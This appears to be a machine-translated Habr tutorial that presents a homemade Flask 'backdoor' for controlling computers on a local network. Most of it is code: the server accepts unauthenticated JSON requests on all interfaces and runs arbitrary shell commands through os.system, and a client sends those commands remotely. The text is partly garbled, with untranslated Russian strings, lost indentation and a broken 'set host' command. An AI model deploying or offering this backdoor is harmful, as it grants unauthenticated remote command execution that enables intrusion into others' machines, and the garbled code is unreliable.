Này Habr!
Gần đây tôi đã xem phiên bản tải xuống của luồng lập trình “Cách tạo ứng dụng web của riêng bạn trong Flask”. Và tôi quyết định củng cố kiến thức của mình trong một số dự án. Trong một thời gian dài, tôi không biết phải viết gì và nảy ra ý tưởng: “Tại sao không tạo một cửa hậu nhỏ trong Flask?”
Các tùy chọn đầu tiên để triển khai và khả năng của cửa sau ngay lập tức xuất hiện trong đầu tôi. Nhưng tôi quyết định lập ngay danh sách các khả năng của cửa hậu:
- Biết cách mở các trang web
- Có quyền truy cập dòng lệnh
- Có thể mở chương trình, hình ảnh, video
Vì vậy, điểm đầu tiên là cực kỳ dễ thực hiện bằng mô-đun webbrowser. Tôi quyết định triển khai điểm thứ hai bằng mô-đun os. Và cái thứ ba cũng thông qua mô-đun os, nhưng tôi sẽ sử dụng “liên kết” (sẽ nói thêm về điều đó sau).
Viết một máy chủ
Vì vậy, *trống* tất cả mã máy chủ:
from flask import Flask, request
import webbrowser
import os
import re
app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
json_string = request.json
if json_string['command'] == 'test':
return 'The server is running and waiting for commands...'
if json_string['command'] == 'openweb':
webbrowser.open(url='https://www.'+json_string['data'], new=0)
return 'Site opening ' + json_string['data'] + '...'
if json_string['command'] == 'shell':
os.system(json_string['data'])
return 'Command execution ' + json_string['data'] + '...'
if json_string['command'] == 'link':
links = open('links.txt', 'r')
for i in range(int(json_string['data'])):
link = links.readline()
os.system(link.split('>')[0])
return 'Launch ' + link.split('>')[1]
if __name__ == '__main__':
app.run(host='0.0.0.0')
Tôi đã bỏ hết mã rồi, đã đến lúc giải thích bản chất.
Tất cả mã chạy trên máy tính cục bộ trên cổng 5000. Để tương tác với máy chủ, chúng tôi phải gửi yêu cầu JSON POST.
Cấu trúc yêu cầu JSON:
{‘command’: ‘comecommand’, ‘data’: ‘somedata’}
Chà, có lý khi 'lệnh' là lệnh chúng ta muốn thực thi. Và 'dữ liệu' là các đối số lệnh.
Bạn có thể viết và gửi các yêu cầu JSON để tương tác với máy chủ theo cách thủ công (các yêu cầu sẽ giúp ích cho bạn). Hoặc bạn có thể viết một máy khách giao diện điều khiển.
Viết một khách hàng
Code:
import requests
logo = ['nn',
'****** ********',
'******* *********',
'** ** ** **',
'** ** ** ** Written on Python',
'******* ** **',
'******** ** **',
'** ** ** ** Author: ROBOTD4',
'** ** ** **',
'** ** ** **',
'******** *********',
'******* ********',
'nn']
p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'
def test():
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
def start():
for i in logo:
print(i)
start()
test()
while True:
command = input('>')
if command == '':
continue
a = command.split()
if command == 'test':
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
if a[0] == 'shell':
for i in range(1, len(a)):
p = p + a[i] + ' '
dict = {'command': 'shell', 'data': p}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
p = ''
if a[0] == 'link':
if len(a) > 1:
dict = {'command': 'link', 'data': int(a[1])}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('Комманда не содержит аргументов!')
if a[0] == 'openweb':
if len(a) > 1:
dict = {'command': 'openweb', 'data': a[1]}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('Комманда не содержит аргументов!')
if a[0] == 'set':
if a[1] == 'host':
ip = a[2] + ':5000'
if command == 'quit':
break
Giải thích:
Trước hết, mô-đun yêu cầu được nhập (để tương tác với máy chủ). Dưới đây là mô tả về chức năng bắt đầu và kiểm tra. Và sau đó là chu kỳ mà điều kỳ diệu xảy ra. Bạn đã đọc mã chưa? Vậy là bạn đã hiểu được ý nghĩa của điều kì diệu xảy ra trong vòng tuần hoàn. Nhập lệnh - nó được thực thi. Shell – các lệnh cho dòng lệnh (logic không đúng quy mô).
Test – kiểm tra xem máy chủ có đang chạy không (backdoor)
Liên kết – sử dụng “phím tắt”
Openweb – mở một trang web
Thoát – thoát khỏi máy khách
Set – cài đặt ip máy tính của bạn trên mạng cục bộ
Và bây giờ nói thêm về liên kết.
Có một tệp link.txt bên cạnh máy chủ. Nó chứa các liên kết (đường dẫn đầy đủ) đến các tệp (video, ảnh, chương trình).
Cấu trúc như thế này:
полный_путь>описание
полный_путь>описание
Tổng
Chúng tôi có một máy chủ cửa sau để điều khiển máy tính trên mạng cục bộ (trong mạng wi-fi). Về mặt kỹ thuật, chúng tôi có thể chạy ứng dụng khách từ bất kỳ thiết bị nào có trình thông dịch python.
Tái bút Tôi đã thêm lệnh set để nếu một máy tính trên mạng cục bộ được gán một IP khác, nó có thể được thay đổi trực tiếp trong máy khách.
Nguồn: www.habr.com